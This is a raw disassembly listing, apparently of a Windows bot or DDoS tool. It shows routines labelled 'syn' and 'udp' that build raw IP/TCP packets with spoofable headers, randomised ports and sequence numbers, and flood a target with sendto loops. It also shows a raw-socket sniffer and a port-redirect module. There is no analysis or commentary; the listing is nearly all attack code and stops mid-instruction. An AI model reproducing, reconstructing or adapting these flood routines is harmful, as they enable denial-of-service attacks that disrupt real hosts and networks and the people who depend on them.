O U T I N E ======================================= sub_426EB0 proc near ; CODE XREF: sub_401DD9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426EB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E10C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426EB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_426F38 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426F38: ; CODE XREF: sub_426F20+Dj mov eax, esi pop esi retn 4 sub_426F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426F50 proc near ; CODE XREF: sub_4010FFj jmp sub_4014C4 sub_426F50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426F70 proc near ; CODE XREF: sub_401E92j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426F70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_401DB6 sub_426F70 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4270E0 proc near ; CODE XREF: sub_401BB3j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021A3 sub_4270E0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_427171 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_427171: ; CODE XREF: ___:00427151j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_4271A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271A4: ; CODE XREF: ___:00427195j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_4271C7 loc_4271BA: ; CODE XREF: ___:0042736Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271C7: ; CODE XREF: ___:004271B8j mov ecx, [esp+0B4h] mov ebp, dword_50FC2C push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27F0769h mov [esp+48h], eax mov al, byte_4D64F9 test al, al jz loc_42741B mov ebx, dword_50FABC mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_427265 ; --------------------------------------------------------------------------- xor esi, esi loc_427265: ; CODE XREF: ___:00427261j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A28 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A28 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4271BA nop call near ptr 27F0769h mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_427417 mov al, [esp+13h] test al, al jz short loc_4273B9 push 2710h push 3E8h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4273B9: ; CODE XREF: ___:0042739Ej push 0FFh push 0 call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 8EF9E890h, 0F9A00242h, 84004D64h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_427417: ; CODE XREF: ___:00427396j mov edi, [esp+18h] loc_42741B: ; CODE XREF: ___:0042724Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427520 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40187F mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_427541 dec eax or eax, 0FFFFFE00h inc eax loc_427541: ; CODE XREF: sub_427520+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BB3 sub_427520 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427590 proc near ; CODE XREF: sub_401785j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427590 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E11C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427590 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_427618 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427618: ; CODE XREF: sub_427600+Dj mov eax, esi pop esi retn 4 sub_427600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427630 proc near ; CODE XREF: sub_401159j jmp sub_4014C4 sub_427630 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427650 proc near ; CODE XREF: sub_401A05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_401424 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014D3 push eax call sub_401730 add esp, 14h test eax, eax jz short loc_42771E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_42771E: ; CODE XREF: sub_427650+A2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427650 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_401730j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_436840 push esi push 11h push 2 push 2 call near ptr 71AB3B91h nop mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_427821 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_42781A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_4277C0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427821: ; CODE XREF: sub_4277C0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_50FABC push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_42785D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42785D: ; CODE XREF: sub_4277C0+77j push esi nop call near ptr 71AB2B66h cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_42787B mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42787B: ; CODE XREF: sub_4277C0+ACj cmp esi, 0FFFFh jle short loc_42788E mov [esp+28h+arg_FFE8], 0FFFFh loc_42788E: ; CODE XREF: sub_4277C0+9Bj ; sub_4277C0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_4278A4 mov [esp+28h+arg_FFE4], 1 loc_4278A4: ; CODE XREF: sub_4277C0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_4278DE loc_4278CB: ; CODE XREF: sub_4277C0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_4278CB loc_4278DE: ; CODE XREF: sub_4277C0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_427970 mov ebp, dword_50FC5C loc_4278F6: ; CODE XREF: sub_4277C0+1AEj mov al, byte_4D64F9 test al, al jz short loc_427970 mov esi, 0Bh loc_427904: ; CODE XREF: sub_4277C0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2850303h dec esi jnz short loc_427904 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_42795B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_42795B: ; CODE XREF: sub_4277C0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_4278F6 loc_427970: ; CODE XREF: sub_4277C0+12Aj ; sub_4277C0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_4277C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279F0 proc near ; CODE XREF: sub_40207Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_427A4D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_4279F0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_427A6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279F0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_4279F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AD0 proc near ; CODE XREF: sub_401D9Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_436840 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40187F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40187F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F70 mov eax, edi loc_427B37: ; CODE XREF: sub_427AD0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_427B5B test cl, cl jz short loc_427B57 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_427B5B add eax, 2 add esi, 2 test cl, cl jnz short loc_427B37 loc_427B57: ; CODE XREF: sub_427AD0+71j xor eax, eax jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427B5B: ; CODE XREF: sub_427AD0+6Dj ; sub_427AD0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427B60: ; CODE XREF: sub_427AD0+89j cmp eax, ebx jnz short loc_427BB3 mov ebp, dword_4D6107 cmp ebp, ebx mov [esp+10h], ebp jz short loc_427B77 cmp ebp, 0FFFFFFFFh jnz short loc_427BBE loc_427B77: ; CODE XREF: sub_427AD0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx call near ptr 71AB4FD4h nop movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_427BBE ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427AD0+92j push edi call sub_40187F add esp, 4 mov ebp, eax loc_427BBE: ; CODE XREF: sub_427AD0+A5j ; sub_427AD0+E1j cmp ebp, ebx jz short loc_427BC7 cmp ebp, 0FFFFFFFFh jnz short loc_427BCD loc_427BC7: ; CODE XREF: sub_427AD0+F0j mov ebp, dword_4D6107 loc_427BCD: ; CODE XREF: sub_427AD0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_427D0D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_427D0D lea edx, [esp+3Ch+var_18] push 10h push edx push esi call near ptr 71AB3E00h nop cmp eax, 0FFFFFFFFh jz loc_427D0D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_427D0D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_427CF3 mov ebx, dword_50FC90 loc_427C63: ; CODE XREF: sub_427AD0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_427CE3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_427CBE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_427CDB ; --------------------------------------------------------------------------- loc_427CBE: ; CODE XREF: sub_427AD0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_427CE3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_427CDB: ; CODE XREF: sub_427AD0+1ECj call sub_40207C add esp, 8 loc_427CE3: ; CODE XREF: sub_427AD0+1C0j ; sub_427AD0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_427C63 loc_427CF3: ; CODE XREF: sub_427AD0+187j mov edx, dword_50FA84 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_427D0D: ; CODE XREF: sub_427AD0+11Dj ; sub_427AD0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_427AD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DC0 proc near ; CODE XREF: sub_401889j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_444F40 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E12C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427DC0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427E30 proc near ; CODE XREF: sub_401F82j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_40179Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427EF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427FC0: ; CODE XREF: ___:00401A14j ; ___:loc_402068j push esi mov esi, ecx call sub_40179E test byte ptr [esp+8], 1 jz short loc_427FD8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427FD8: ; CODE XREF: ___:00427FCDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015F5 test [esp+4+arg_0], 1 jz short loc_428008 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428008: ; CODE XREF: sub_427FF0+Dj mov eax, esi pop esi retn 4 sub_427FF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428020 proc near ; CODE XREF: sub_4015F5j jmp sub_40179E sub_428020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428040 proc near ; CODE XREF: sub_4015AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_401D9D add esp, 10h mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_428040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428160 proc near ; CODE XREF: sub_401884j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401F82 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_401424 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr 